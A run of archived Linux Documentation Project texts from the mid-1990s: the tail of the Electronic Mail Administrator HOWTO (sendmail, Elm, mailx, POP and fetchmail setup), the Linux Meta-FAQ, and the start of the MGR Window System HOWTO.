Refer to the July-1994 issue of Linux Journal (if you can still find it:-), to the docs in the sources, or to the sendmail chapter in the newest version of the Linux Documentation Project Networking Administration Guide which will be available real-soon-now for more details.

  • mailertable - defines special behavior for remote hosts or domains.
  • uucpxtable - forces UUCP delivery of mail to hosts that are in DNS format.
  • pathtable - defines UUCP bang-paths to remote hosts or domains.
  • uucprelays - short-circuits the pathalias path to well-known remote hosts.
  • genericfrom - converts internal addresses into generic ones visible to the outside world.
  • xaliases - converts generic addresses to/from valid internal ones.
  • decnetxtable - converts RFC-822 addresses to DECnet-style addresses.

So which entries are really required?

When not using any of the optional dbm tables, sendmail delivers mail via the RELAY_HOST and RELAY_MAILER) defined in the sendmail.m4 file used to generate sendmail.cf. It is easily possible to override this behavior through entries in the domaintable or uucpxtable.

A generic site that is on Internet and speaks Domain Name Service, or one that is UUCP-only and forwards all mail via UUCP through a smart RELAY_HOST, probably does not need any specific table entries at all.

Virtually all systems should set the DEFAULT_HOST and PSEUDONYMS macros, which define the canonical site name and aliases it is known by.

If all you have is a relay host and relay mailer, you don't need to set these defaults since it works automagically. UUCP hosts will probably also need to set UUCPNAME to their official UUCP name.

They will also probably set RELAY_MAILER and RELAY_HOST which enable smart-host routing through a mail relay.

The mail transport to be used is defined in RELAY_MAILER and should usually be UUCP-A for UUCP sites. If your site is SMTP-only and talks `Domain Name Service', you would change the RELAY_MAILER.

If you're a SLIP site, you might want to take the easy way out and just forward all outgoing mail to your service provider to do the right thing with. To do so, you'd want to define ISOLATED_DOMAINS and VALIDATION_DOMAINS to be your domain, you'd also want to define RELAY_HOST to be your service provider and RELAY_MAILER to be TCP. Of course, you want to ask permission before you set any system up as your general purpose relay.

6.4 Sendmail 8.x

Sendmail 8.7.x from Berkeley was the latest major revision after sendmail5. It had wonderful built-in support for building under Linux : just "make linux" and all was set.

You'll probably be best served by grabbing one of the various binary distributions off of the usual Linux archive sites rather than fighting things like Berkeley dbm yourself.

There's a nice distribution of sendmail 8.6.12 from Jason Haar - j.haar at lazerjem.demon.co.uk on sunsite.unc.edu in /pub/Linux/system/Mail/delivery/sendmail-8.6.12-bin.tgz that has the source documentation and a very nice quickie description of how to run sendmail v8 for common configurations.

The bottom line with sendmail v8 is that you want to configure the bare minimum necessary to get the job done ; the following is an example that should get you close at least.

A sample 8.7.x mc file

Much like sendmail+IDA, sendmail v8 uses m4 to process a config file into a full sendmail.cf that sendmail uses. The following is my current mc file for my site (ppp to Internet for outgoing mail, uucp for incoming mail).

        dnl divert(-1)
        #---------------------------------------------------------------------
        #
        # this is the .mc file for a linux host that's set up as follows:
        #
        #       - connected to Internet for outbound mail (ppp here)
        #       - connected via UUCP for incoming mail
        #       - domainized headers
        #       - no local mailer (use 'deliver' instead)
        #       - no DNS running so don't canonicalize outgoing via DNS
        #       - all non-local outbound mail goes to the RELAY_HOST over smtp
        #           (we run ppp and let our service provider do the work)
        #
        #                                       vds 3/31/95
        #
        #---------------------------------------------------------------------
        include(`../m4/cf.m4')
        VERSIONID(`linux nodns relays to slip service provider smarthost')dnl
        Cwmyhostname.myprimary.domain myhostname.UUCP localhost
        OSTYPE(linux)
        FEATURE(nodns)dnl
        FEATURE(always_add_domain)dnl
        FEATURE(redirect)
        FEATURE(nocanonify)
        dnl MAILER(local)dnl
        MAILER(smtp)dnl
        MAILER(uucp)dnl
        define(`RELAY_HOST', smtp:my.relay.host.domain)
        define(`SMART_HOST', smtp:my.relay.host.domain)
        define(`UUCP_RELAY', smtp:my.relay.host.domain)
        define(`LOCAL_MAILER_PATH', `/bin/deliver')
        define(`LOCAL_MAILER_ARGS', `deliver $u')

Sendmail v8 tidbits

There are a few differences I suppose to the 'IDA bigots' among us. So far, I've found the following:

Instead of 'runq', you type 'sendmail -q' to run the queue!

6.5 Local Delivery Agents

Unlike most operating systems, Linux did not have mail "built-in": you needed a program to deliver the local mail, like "lmail", "procmail" or "deliver".

However, every recent distribution includes a local mailer now!

Documentation for how to use either for local delivery is in the sendmail5.67b+IDA1.5 binary release (on sunsite) mentioned above.


The Linux Electronic Mail Administrator HOWTO: User Agent Administration

 Next Previous Contents

7. User Agent Administration

7.1 Mutt

You should have no problem compiling, installing, or running mutt. Users of qmail can either get the patch or run it with -f flag to read their local mail folder.

If mutt bothers you with an "unknown terminal error" after a distribution upgrading, just recompile it.

7.2 Elm

Elm compiles, installs and runs flawlessly under Linux. For more information, see the elm sources and installation instructions. Elm and filter need to be mode 2755 (group mail) with /var/spool/mail mode 775 and group mail.

Qmail users can get a patch to use nifty qmail features, or will run elm with the -f flag to point to their local mail folder.

One thing you want to be aware of is that if you have Elm compiled to be MIME-able, you need metamail installed and in the standard path or Elm will not be able to read MIME mail you've received. Metamail is available on thumper.bellcore.com and of course via "archie".

If you use a binary distribution, you'll need to create a "/usr/local/lib/elm/elm.rc" file to override the compiled-in hostname and domain information:

  • replace "subdomain.domain" with your domain name replace
  • "myhostname" with you un-domainized hostname replace

        #---------- /usr/local/lib/elm/elm.rc ------------------
        #
        # this is the unqualified hostname
        hostname = myhostname
        #
        # this is the local domain
        hostdomain = subdomain.domain
        #
        # this is the fully qualified hostname
        hostfullname = myhostname.subdomain.domain
        #
        #--------------------------------------------------------

One thing you want to be aware of is that if you have Elm compiled to be MIME enabled, you need metamail installed and in your path or Elm will not be able to read MIME mail you've received. Metamail is available on thumper.bellcore.com and of course via "archie".

In the "too cool to be true" category, there is a distribution of Elm-2.4.24 that is "PGP-aware". To try it, grab the file ftp://ftp.viewlogic.com/pub/elm-2.4pl24pgp3.tar.gz, which is elm2.4.24 with PGP hooks added. You configure and build it the same way you do normal Elm, which means you probably need to add the patches mentioned above. For what it's worth, I run it here and like it a lot. Of course, there must be more recent versions available, including elm-ME+.

While this item is not Linux-specific, it's perceived (wrongly) to be a nagging Elm bug nevertheless. We've heard that Elm sometimes fails with a message that it's unable to malloc() some massive number of bytes. The identified workaround is to remove the post-processed global mail aliases (aliases.dir and aliases.pag).

THIS IS NOT A BUG IN ELM, it's an error in configuration of Elm by whomever you got your binary distribution of Elm from.

Elm has an enhanced and non-compatible, format for aliases ; you need to ensure that the path Elm uses for aliases is different from the path sendmail/smail uses. From the volume of reports of this problem, it's apparent that at least one major distribution 'on the street' has in the past been misconfigured. (from scot at catzen.gun.de (Scot W. Stevenson) )

The current metamail package requires csh for some of its scripts. Failure to have csh (or tcsh) will cause most interesting errors...

7.3 Mailx

If you don't have a local mailx program, save yourself the pain -- just go and grab the mailx kit from Slackware 2.1.0 or later, which has a nice implementation of mailx5.5. If you're into building from sources, mailx v5.5 compiles without patching under Linux if you have "pmake" installed.

If anybody is still using it, I strongly recommend removing the old "edmail" stuff from SLS1.00 and replacing it with mailx.


The Linux Electronic Mail Administrator HOWTO: Handling remote mail

 Next Previous Contents

8. Handling remote mail

This section describes using POP or IMAP to handle remote mail.

Other options include nfs-mounting the spool partition on client machines (Danger Will Robinson! Is everyone using the same lock method?) or using a mail-to-web gateway (quite popular now).

8.1 History

On a workstation network, mail has always been a problem:

  • Either you use "user@computer.foo.com" with problems when "computer" is down, making your network known to the people outside, having different addresses for a same person switching to another computer, ...
  • Or you take a mail hub, "mailhost.foo.com" with rules for rewriting, so every user seems to post from the same address, even if they are on different computers.

But in that case, how can users read their mail?

Using a rsh with elm? :-)

It would overload our mail hub! One method was forwarding or UUCP, smtp, etc. but it's too complicated.

Then came POP/IMAP, both with security problems at the beginning, (now fixed using ssh on new versions): a mail program has sometimes to be set locally (like qmail, smail or vmail if, for example, you use elm, but mozilla will avoid that!) however, getting and sending Email is simpler.

8.2 Getting mail

Here come POP's main drawbacks:

  • the password is sent as a clear text on the network,
  • you must choose a POP-aware mailer; many do now (like Pine, Emacs, Mozilla, Netscape, Mutt, IE, Pegasus, Eudora, Claris...),
  • when a user may roam (read mail from different machines) having e-mail popped on the computer used yesterday can be a nuisance,
  • some POP servers (e.g. qpopper, ipop3d) on high-use servers can load the machine significantly. Consider controlling options (such as not leaving mail on the server) and/or changing the pop server (e.g. cucipop), as well as avoiding running it from inetd.

The password problem can be solved creating a crypted "channel" to have POP on it or using APOP or RPOP extensions. The mail reader problem can be solved either by changing mail reader (don't underestimate the effort required to re-educate users!) or by using a POP "mail sucker" with a local mail program.

IMAP can be preferable to POP in various situations like remote (and especially roaming) access, while you restrict POP to a LAN where snooping of passwords isn't so much of a concern. Mark Aitchison reported a solution here is to use hosts.deny and hosts.allow files (please see Net-3 HOWTO ; this assumes you are starting pop from inet).

The policy of leaving mail on the server or not has implications for server disk space and easier backup/security of the mail, as well as allowing roaming, so the best solution depends on the type of organization. Of course, this will not ensure your mail can't be read, but nobody will be able to delete it ; if all your mail is pgp encrypted this is a better solution.

Here are some pop programs worth trying:

  • gwpop (a Good Way to POP) is very protected since it creates a crypted "channel" and puts mail directly in the "spool" ; however, it depends on Perl.
  • popclient, simple to use: For example if your login is john and your password PrettySecret, you will run:
    $ popclient -3 -v mail.acme.net -u john -p "PrettySecret" -k -o JOHN-INET-MAIL
    It is strongly discouraged in case of multi-user machine; other user can see your password by, for example with "ps auxw"
  • fetchmail, which is actively supported and incredibly simple to use: it is configured in ~/.fetchmailrc, so you only need to run fetchmail when you want to retrive your mail. Here's my .fetchmailrc:
    poll mail.server protocol pop3:
        forcecr
        password PrettySecret;
    Don't forget to "chmod 600 /.fetchmailrc" or fetchmail will ask for it. Please note that the forcecr option is needed to use fetchmail with qmail, which strictly respects RFCs.

8.3 Sending mail

For this, you must use smtp-aware mail software, like qmail, smail, vmail or mozilla (this one does everything: mail reader, POP receive, smtp send!)

Go to one of the previous sections to install and configure the one you like best. Then, when you will reach "Testing", try to send some mail to a local account on the mail hub.

8.4 Reading mail

If your program doesn't do everything itself, you can install elm, pgp, mush, pine ... many good programs are freely available for linux platforms!

8.5 Testing

To check whether your mail server has pop, try:

$ telnet mailhost 110

If it works, you will get something like "OK Pop server (...) starting": type "quit"!

To install a ssh crypted "channel", first test your mail server typing:

$ ssh mailhost date

If you get the date, you should be OK. Please note ssh will not ask for a password, therefore you must create a ".shosts" file on the mail server, containing client's name. To test ssh port redirection (which gwpop uses), type:

$ ssh -n -f -L 12314:localhost:110 mailhost sleep 30

then

$ telnet localhost 12314

Then will you hopefully see mail hub's pop banner. If you don't use ssh, don't forget to comment out $ssh on gwpop script. To check whether procmail is running, try "procmail -v"

8.6 Using

Now you can edit gwpop Perl script to check everything is ok, then run gwpop:

$ gwpop -v your-username
POP password on mailhost: yoursecretpasword

If gwpop "error messages" are normal, the mail from mail hub will be downloaded to your local machine wherever you told gwpop to put it. (please test with some mail!).

You can also use gwpop as a daemon:

$ gwpop -d $HOME/tmp your-username

gwpop messages are then sent to syslog and gwpop will run endlessly ; a "HUP" signal will force gwpop to get your mail.

You can get POP software here used on:

ftp://ftp.unina.it/pub/Unix/pkgs/network/mail/gwpop
ftp://ftp.informatik.rwth-aachen.de/pub/packages/procmail
http://www.cs.hut.fi/ssh/


The Linux Electronic Mail Administrator HOWTO: Acknowledgements

 Next Previous Contents

9. Acknowledgements

The following people have helped in the assembly of the information and experience that helped make this document possible:

Steve Robbins, Ian Kluft, Rich Braun, Ian Jackson, Syd Weinstein, Ralf Sauther, Martin White, Matt Welsh, Ralph Sims, Phil Hughes, Scot Stevenson, Neil Parker, Stephane Bortzmayer and especially many thanks to Vince Skahan for his huge contribution.

Eric S. Raymond edited this document, correcting some mistakes and transplanting the section on ``How Electronic Mail Works'' from his Mail User's HOWTO.

Hitoshi Hayakawa checked qmail section, Jun Morimoto added various notes about popclient & fetchmail and Takeo Nakano ispell'ed the document :-)

If I forgot anybody, my apologies: just email me!


Linux Meta-FAQ

Michael K. Johnson <johnsonm@redhat.com>

v4.7, 25 October 1997

This is the Meta-FAQ for Linux. It is mainly a list of valuable sources of information. Check these sources out if you want to learn more about Linux, or have problems and need help.

1. Introduction

2. Getting Linux

  • 2.1 Linux FTP sites
  • 2.2 Linux on physical media
  • 2.3 AFS
  • 2.4 Commercial networks
  • 2.5 Mailservers and such

3. Linux distributions

4. Linux mailing-lists

5. Documentation for various programs

6. More Documentation

7. Keeping track of current releases

8. This Document

9. Legalese


Linux Meta-FAQ: Introduction

 Next Previous Contents

1. Introduction

What is Linux?

Linux is an independent implementation of the POSIX operating system specification, with SYSV and BSD extensions, that has been written entirely from scratch (this means it looks and acts just like Unix). It has no proprietary code in it. Linux is freely distributable under the GNU General Public License.

Linux works on IBM PC compatibles with an ISA or EISA bus (including local bus variants VLB and PCI) and a 386 or higher processor. Some Amiga and Atari computers with MMU's are also supported. This means 68020 with an external MMU, 68030, 68040, or 68060. Support for the Digital Alpha is now stable. Red Hat and Craftworks have Alpha distributions of Linux. Support for Sparc is stable, and Red Hat Linux is available for Sparc. Support for PowerPC is in development for multiple platforms, including Nubus and PCI Macintosh, Motorola Powerstack, IBM 830 and 850, and other platforms. Support for ARM, StrongARM, and MIPS is in various stages of completion, but don't hold your breath. Read comp.os.linux.announce instead.

See the Linux INFO-SHEET for more technical information on these ports, and the Hardware Compatibility HOWTO for more exact hardware requirements.

The Linux kernel is written by Linus Torvalds <torvalds@transmeta.com> and other volunteers. Most of the programs running under Linux are generic Unix freeware, many of them from the GNU project.

The Linux INFO-SHEET

More specific technical information on Linux. Includes pointers to information on the various ports, a feature list, information about how to get Linux, and more.

The Linux HOWTO's

These are somewhat like FAQ's, but instead of answering common questions, they explain how to do common tasks, like ordering a release of Linux, setting up print services under Linux, setting up a basic UUCP feed, etc. See http://sunsite.unc.edu/LDP/HOWTO/HOWTO-INDEX.html or ftp://sunsite.unc.edu/pub/Linux/docs/HOWTO/ for the definitive versions of all the HOWTO's. Other sites with up-to-date copies of the HOWTOs are ftp.cc.gatech.edu and tsx-11.mit.edu.

In addition, there are many short, free-form documents called "mini-HOWTOs". These documents cover very specific subjects, such as BogoMIPS or Color-ls. These are available at ftp://sunsite.unc.edu/pub/Linux/docs/HOWTO/mini/ and at http://sunsite.unc.edu/LDP/HOWTO/HOWTO-INDEX.html.

Linux newsgroups

There are several Usenet newsgroups for Linux. It is a good idea to follow at least comp.os.linux.announce if you use Linux. comp.os.linux.announce is moderated by Lars Wirzenius. To make submissions to the newsgroup, send mail to linux-announce@news.ornl.gov. You may direct questions about comp.os.linux.announce to Lars Wirzenius <wirzeniu@iki.fi>

The newsgroup comp.os.linux.announce is a moderated newsgroup for announcements about Linux (new programs, bug fixes, etc).

The newsgroup comp.os.linux.answers is a moderated newsgroup to which the Linux FAQ, HOWTO documents, and other documentation postings are made.

The newsgroup comp.os.linux.setup is an unmoderated newsgroup for discussion of issues and problems involved in setting up Linux systems.

The newsgroup comp.os.linux.admin is an unmoderated newsgroup for discussion of administration of Linux systems.

The newsgroup comp.os.linux.development.system is an unmoderated newsgroup specifically for discussion of Linux kernel development. The only application development questions that should be discussed here are those that are intimately associated with the kernel. All other development questions are probably generic Unix development questions and should be directed to a comp.unix group instead, unless they are very Linux-specific applications questions, in which case they should be directed at comp.os.linux.development.apps.

The newsgroup comp.os.linux.development.apps is an unmoderated newsgroup specifically for discussion of Linux-related applications development. It is not for discussion of where to get applications for Linux, nor a discussion forum for those who would like to see applications for Linux.

The newsgroup comp.os.linux.hardware is for Linux-specific hardware questions.

The newsgroup comp.os.linux.networking is for Linux-specific networking development and setup questions.

The newsgroup comp.os.linux.x is for Linux-specific X Windows questions.

The newsgroup comp.os.linux.misc is an unmoderated newsgroup for any Linux discussion that doesn't belong anywhere else.

In general, do not crosspost between the Linux newsgroups. The only crossposting that is appropriate is an occasional posting between one unmoderated group and comp.os.linux.announce. The whole point of splitting the old comp.os.linux group into many groups was to reduce traffic in each. Those that do not follow this rule will be flamed without mercy...

Other newsgroups

Do not assume that all your questions are appropriate for a Linux newsgroup just because you are running Linux. Is your question really about shell programming under any unix or unix clone? Then ask in comp.unix.shell. Is it about GNU Emacs? Then try asking in gnu.emacs.help. Also, if you don't know another group to ask in, but think there might be, politely ask in your post if there is another group that would be more appropriate for your question. At least the groups comp.unix.{questions,shell,programming,bsd,admin} and comp.windows.x.i386unix should be useful for a Linux user.

The World-Wide Web

Greg Hankins <gregh@cc.gatech.edu> maintains the home WWW page for the Linux project. The URL is http://sunsite.unc.edu/LDP/

Linux Journal

A magazine called Linux Journal was launched several years ago. It includes articles intended for almost all skill levels, and is intended to be helpful to all Linux users. Subscriptions are $22 in the U.S., $27 in Canada and Mexico, and $32 elsewhere around the world, all payable in U.S. funds. Subscription inquiries can be sent via email to subs@ssc.com or faxed to (U.S.) 1-206-782-7191 or mailed to Linux Journal, PO Box 85867, Seattle, WA 98145-1867 USA. SSC has a PGP public key if you wish to send your credit card number via encrypted email: finger info@ssc.com

The Linux Software Map

Information on free software available for Linux can be found in the Linux Software Map, which can be found at http://www.execpc.com/~lsm/


Linux Meta-FAQ: Getting Linux

 Next Previous Contents

2. Getting Linux

2.1 Linux FTP sites

A more complete list of Linux FTP sites is in the Linux INFO-SHEET, which can always be found at http://sunsite.unc.edu/LDP/HOWTO/INFO-SHEET.html The most important sites are listed here; please see the INFO-SHEET for a site nearer to you (there are many mirrors).

textual name             numeric addr    Linux directory
=======================  ==============  ===============
tsx-11.mit.edu           18.86.0.44      /pub/linux
sunsite.unc.edu          152.2.22.81     /pub/Linux
ftp.kernel.org           206.184.214.34  /pub/linux

These sites are the main ``home'' sites for Linux where most uploads take place. There are many mirror sites; please use the closest (network-wise) site to you.

2.2 Linux on physical media

Linux is distributed on physical media, mainly CD-ROM, by several commercial vendors. Please read the distribution HOWTO, posted regularily to comp.os.linux.announce, and available at http://sunsite.unc.edu/LDP/HOWTO/Distribution-HOWTO.html

2.3 AFS

Linux is available over AFS by mounting the volume project.linux from sipb.mit.edu

2.4 Commercial networks

Compu$erve has some Linux archives.

2.5 Mailservers and such

Sunsite offers ftp-mail service --- mail <ftpmail@sunsite.unc.edu>.


Linux Meta-FAQ: Linux distributions

 Next Previous Contents

3. Linux distributions

Linux is distributed by its author only as a kernel. Other people have put together ``distributions'' that pair the Linux kernel with utilities and application software to make a complete working package.

There are several distributions of Linux, which are available at various sites. Sunsite mirrors many of the distributions at ftp://sunsite.unc.edu/pub/Linux/distributions/. The most commonly-recommended freely-available distributions are Red Hat http://www.redhat.com and Debian http://www.debian.org. These are available for free over the internet, and are also sold on CD-ROM.

There are other distributions of Linux as well. Most commercial distributors of Linux advertise in Linux Journal.


Linux Meta-FAQ: Linux mailing-lists

 Next Previous Contents

4. Linux mailing-lists

Used mostly for discussion between developers of new features and testers of pre-release versions. See addresses in the FAQ. Send mail to majordomo@vger.rutgers.edu with the single word help in the body of the message , and you will get mail explaining how to subscribe to the many Linux mailing lists there. Save this mail, as it tells you how to unsubscribe from the lists, and if you post annoying messages to the list complaining about not being able to get off the list (because you didn't follow instructions and save the mail telling you how to unsubscribe), you will likely be flamed for wasting international bandwidth and money.


Linux Meta-FAQ: Documentation for various programs

 Next Previous Contents

5. Documentation for various programs

Many programs come with some sort of documentation, often in a file called README or something similar. It is a VERY good idea to read them with care. It is boring to see (and answer) questions that are answered in the documentation. Most programs also have ``man pages''; use the command man programname to get documentation on a program named programname. To get help using the man program, use man man.

Most distributions put other documentation about programs in the directory /usr/doc/; your distribution should include documentation on how to access that documentation.


Linux Meta-FAQ: More Documentation

 Next Previous Contents

6. More Documentation

The Linux Documentation Project is working on a lot of documentation. Already, over 3000 pages of book-style documentation has been released to the general public, and another 2000 or so printed pages of man pages have also been released, with more to follow. Check http://sunsite.unc.edu/LDP/ for documents written by the LDP.


Linux Meta-FAQ: Keeping track of current releases

 Next Previous Contents

7. Keeping track of current releases

Important new releases, programs, and ports are usually announced in comp.os.linux.announce.


Linux Meta-FAQ: This Document

 Next Previous Contents

8. This Document

The latest version of this document should always be available from http://sunsite.unc.edu/LDP/HOWTO/META-FAQ.html


Linux Meta-FAQ: Legalese

 Next Previous Contents

9. Legalese

Trademarks are owned by their owners. Satisfaction not guaranteed. No warranties about this document. Void where prohibited.

The content of this document is placed in the public domain, but if you quote it, please be polite and attribute your source.

Lars Wirzenius <wirzeniu@iki.fi> wrote the first version of this document; it is now maintained by Michael K. Johnson <johnsonm@redhat.com>. Mail me if you have any questions about this document.


The MGR Window System HOWTO

Vincent Broman

v0.1, 1996-05-30

Information on the installation, configuration and running of the MGR Window System.

Archived Document Notice: This document has been archived by the LDP because it does not apply to modern Linux systems. It is no longer being actively maintained.

1. This HOWTO

  • 1.1 Archiving
  • 1.2 Authentication
  • 1.3 Credit for the HOWTO

2. What is the MGR window system?

  • 2.1 Function
  • 2.2 Requirements
  • 2.3 How do MGR, X11, and 8.5 compare?

3. Installing MGR

4. Running MGR

  • 4.1 Applications not aware of MGR
  • 4.2 MGR Applications (clients) distributed with the server
  • 4.3 MGR-aware clients distributed separately, see "SUPPORT" file

5. Programming for MGR

6. More documentation

7. Credit for MGR


The MGR Window System HOWTO: This HOWTO

 Next Previous Contents

1. This HOWTO

                    Copyright Vincent Broman 1995.
       Permission granted to make and distribute copies of this HOWTO
          under the conditions of the GNU General Public License.

1.1 Archiving

This HOWTO is archived in ftp://archimedes.nosc.mil/pub/Mgr/MGR-HOWTO.sgml, and also distributed from ftp://sunsite.unc.edu/pub/Linux/docs/HOWTO/MGR-HOWTO. In nearby directories the same document may appear in alternate formats like MGR-HOWTO.txt.

1.2 Authentication

Copies of the MGR distribution due to Broman should be accompanied by PGP signature files, signed by "Vincent Broman <broman@nosc.mil>".

1.3 Credit for the HOWTO

While Vincent Broman first put together this HOWTO, much of the information and text was obtained from FAQs, READMEs, etc. written by Stephen Uhler, Michael Haardt, and other public-spirited net-persons. Email corrections and suggested changes to broman@nosc.mil.

Uhler was the main architect of MGR -- see the Credit section below.


The MGR Window System HOWTO: What is the MGR window system?

 Next Previous Contents

2. What is the MGR window system?

2.1 Function

MGR (ManaGeR) is a graphical window system. The MGR server provides a builtin window manager and windowed graphics terminal emulation on color and monochrome bitmap displays. MGR is controlled by mousing pop-up menus, by keyboard interaction, and by escape sequences written on pseudo-terminals by client software.

MGR provides each client window with: termcap-style terminal control functions, graphics primitives such as line and circle drawing; facilities for manipulating bitmaps, fonts, icons, and pop-up menus; commands to reshape and position windows; and a message passing facility enabling client programs to rendezvous and exchange messages. Client programs may ask to be informed when a change in the window system occurs, such as a reshaped window, a pushed mouse button, or a message sent from another client program. These changes are called events. MGR notifies a client program of an event by sending it an ASCII character string in a format specified by the client program. Existing applications can be integrated into the windowing environment without modification by having MGR imitate keystrokes in response to user defined menu selections or other events.

2.2 Requirements

MGR currently runs on Linux, FreeBSD, Sun 3/4 workstations with SunOS, and Coherent. Various older versions of MGR run on the Macintosh, Atari ST MiNT, Xenix, 386-Minix, DEC 3100, and the 3b1 Unix-pc. Many small, industrial, real-time systems under OS9 or Lynx in Europe use (another variant of) Mgr for their user interface. The programming interface is implemented in C and in ELisp, although supporting clients written in other languages is quite easy.

Running MGR requires much less in resources than X, or even gcc. It does not have the user-base, software repertory, or high-level libraries of X or MS-Windows, say, but it is quite elegant and approachable.

It has been said that MGR is to X as Unix was to Multics.

2.3 How do MGR, X11, and 8.5 compare?

MGR consists of a server with builtin window manager and terminal emulator, and clients which run in this terminal emulator and use it to communicate with the server. No resource multiplexing is done.

X11 consists of a server and clients, which usually connect to the server using a socket. All user visible things like terminal emulators, window managers etc are done using clients. No resource multiplexing is done.

8.5, the Plan 9 window system, is a resource multiplexer, as each process running in a window can access /dev/bitblt, /dev/mouse and /dev/kbd in its own namespace. These are multiplexed to the /dev/bitblit, /dev/mouse and /dev/kbd in the namespace of 8.5. This approach allows one to run 8.5 in an 8.5 window, a very clean design. 8.5 further has an integrated window manager and terminal emulator.


The MGR Window System HOWTO: Installing MGR

 Next Previous Contents

3. Installing MGR

The latest source distribution can be FTPed from the directory ftp://archimedes.nosc.mil/pub/Mgr/69 or Mosaiced from http://archimedes.nosc.mil/Mgr/69. The same should be found at ftp://sunsite.unc.edu/pub/Linux/apps/MGR and its mirrors. Older versions of this distribution from Haardt can be found on tsx-11.mit.edu and perhaps elsewhere. Pre-Linux versions of MGR from Uhler and others have been found at ftp://bellcore.com/pub/mgr, but I think they are gone now. I have saved a copy of everything about MGR seen on the Internet, but I am not aware of anything weighty that is missing from this Linux/Sun distribution. MGR has been through a lot of versions and releases, but the current *Linux* version number is 0.69. This version number could jump to 1.0 when stable 256-color VGA code for Linux appears (for more than one video card type). RCS version numbers have increased from Bellcore's 4.3 up to our 4.13 now.

Required tools to build this distribution of MGR are m4 (GNU, or perhaps another supporting the -D option), make (GNU, or perhaps another supporting include) and *roff for the docs. Also sh, awk, and POSIX install. Binary distributions are not assembled often so you need an ANSI C compiler environment, e.g. gcc.

A Linux installation requires Linux 0.99.10 or better (1.2.13 is what I actually test on now), an HGC, EGA, VGA, or SVGA graphics card, and a mouse. Mouses supported are: serial Microsoft mouse, serial MouseSystems 3 and 5 byte mouse, serial MMSeries mouse, serial Logitech mouse, PS/2 mouse, or a bus mouse. With Buckey (Meta) hot keys enabled, even a mouseless system could do a certain amount of useful work under MGR. The VGA 640x480 monochrome graphics mode is supported out of the box, as is 640x350 and 640x200. To run 800x600, or other modes that your BIOS can initialize and which do not require bank-switching, you need to run a small program (supplied as src/vgamisc/regs.exe) under DOS or an emulator to read the VGA registers and write a header file which you place in the directory src/libbitblit/linux, so that it can be #include'd by the vga.c file there. Samples of these files are supplied, but please create your own. Some VGA cards can use 128k windows, and these might run higher monochrome resolutions.

The Linux-colorport code also runs in the standard 320x200x256 color VGA mode without difficulty, because no bank switching is required. If you think of how few 64000 pixels is, you would realize this color mode is quite limited. Non-fast, but simple, bank-switching code has been added in version 0.65, and it works with a Tseng ET4000 card in 640x480x256 and 800x600x256 modes. The S3 code does not work in super VGA resolutions, yet. Supporting new super VGA cards requires writing one function to switch banks and then making sure that the desired screen mode can be initialized from a register dump, possibly with hand-tweaking. The Linux color servers generally mangle the screen fonts, necessitating use of restorefont as in runx. If someone were to extract the VGA initialization code out of X, this might make MGR work on a lot more color systems.

Suns with SunOS 4.1.2+ and bwtwo, cgthree, or cgsix frame buffers are supported. Their speed handling color is good. Coherent installations should refer to the Versions/README.Coh file in the source distribution. Porting the latest-and-greatest MGR to another POSIX-like system which provides select() and pty's and direct access to a bitmapped frame-buffer ought to be straightforward, just implementing the libbitblit library based on the sunmono or colorport code, say.

If you want to install everything, you need 7 MB disk space for binaries, fonts, manual pages etc. The sources are about 4.5 MB, plus object files during compilation.

Normally, /usr/mgr should be either the directory or a link to the directory where you install MGR stuff for runtime use. Typing

cd /usr/mgr; tar xvfz whereveryouputit/mgrusr-0.69.tgz
and optionally
cd /usr/mgr; tar xvfz wherever/morefonts-0.69.tgz
will unpack these. The source can be put anywhere, e.g. typing
cd /usr/src/local/mgr; tar xvfz wherever/mgrsrc-0.69.tgz
to unpack the sources from archimedes.nosc.mil.

The source tree can be compiled from one top-level Makefile which invokes lower-level Makefiles, all of which "include" a "Configfile" at the top level. The Configfile is created by an interactive sh script named Configure, which asks you questions, then runs m4 on a Configfile.m4. So you type something like this:

chdir /usr/src/local/mgr
sh ./Configure
make first
make depend
make install
make clean

It might be wise, before running make, to eyeball the Configfile generated by the Configure script, checking that it looks reasonable. (At least one m4 poops out (Sun /usr/bin/m4), creating a very short Configfile. If this happens, try hand editing a copy of Configfile.sun or Configfile.lx) One can also make all in any directory with a Makefile as soon as the libraries have been compiled and installed. The server, libraries, and some clients have been linted, but several clients are K&R C code that generates many compiler warnings.

Several flags in MGRFLAGS can be added/omitted in the Configfile to change some optional features in the server, viz:

-DWHO

muck utmp file so "who" works

-DVI

code for clicking the mouse in vi moving the cursor

-DDEBUG

enable debugging output selectable with -d options.

-DFASTMOUSE

XOR the mouse track

-DBUCKEY

for hot-key server commands without mousing

-DPRIORITY

for priority window scheduling instead of round-robin; the active window gets higher priority

-DCUT

for cut/paste between windows and a global snarf buffer

-DMGR_ALIGN

forces window alignment for fast scrolling (monochrome)

-DKILL

kills windows upon tty i/o errors

-DSHRINK

use only some of the screen ($MGRSIZE in environment)

-DNOSTACK

don't permit event stacking

-DBELL

audibly ring the bell

-DKBD

read mgr input from the sun kbd, instead of stdin. This permits redirection of console msgs to a window.

-DFRACCHAR

fractional character movement for proportional fonts

-DXMENU

extended menu stuff (experimental)

-DMOVIE

movie making extension which logs all operations to a file for later replay -- not quite working under Linux

-DEMUMIDMSBUT

Emulate a missing middle mouse button by chording

Not all combinations of these options have been tested on all systems.

The BITBLITFLAGS macro should contain -DBANKED if you're trying out the super VGA color.

C code for the static variables in the server containing icons and fonts is generated by a translator from icon and font files.

Not all the clients are compiled and installed by the Makefiles. Clients found under src/clients having capitalized names or not compiled by the supplied Makefiles may have problems compiling and/or running, but they may be interesting to hack on. Most of the screen drivers found under the libbitblit directory are of mainly archeological interest. Grave robbing can be profitable.

At some point check that your /etc/termcap and/or terminfo file contain entries for MGR terminals such as found in the misc directory. If all your software checks $TERMCAP in the environment, this is not needed, as long as you run eval `set_termcap` in each window.

MGR works better if run setuid root, because it wants to chown ptys and write in the utmp file. This helps the ify iconifier client work better and the event passing mechanism be more secure. On Linux, root permissions are required in order to do in/out on the screen device. Otherwise, you decide whether to trust it.

In versions around 0.62 there are troubles on the Sun with using the csh as the default shell. Programs seem to run in a different process group than the foreground process group of the window's pty, in contradiction to man pages and posix specs. There is no trouble with bash, sh, or rc. Ideas why?


The MGR Window System HOWTO: Running MGR

 Next Previous Contents

4. Running MGR

The only file required in an MGR installation is the server itself. That would give you terminal emulator windows with shells running in them and cutting and pasting with the mouse, but no nice clocks, extra fonts, fancy graphics, etc. Depending on options, a monochrome server needs about 200K of RAM plus dynamic space for windows, bitmaps, etc.

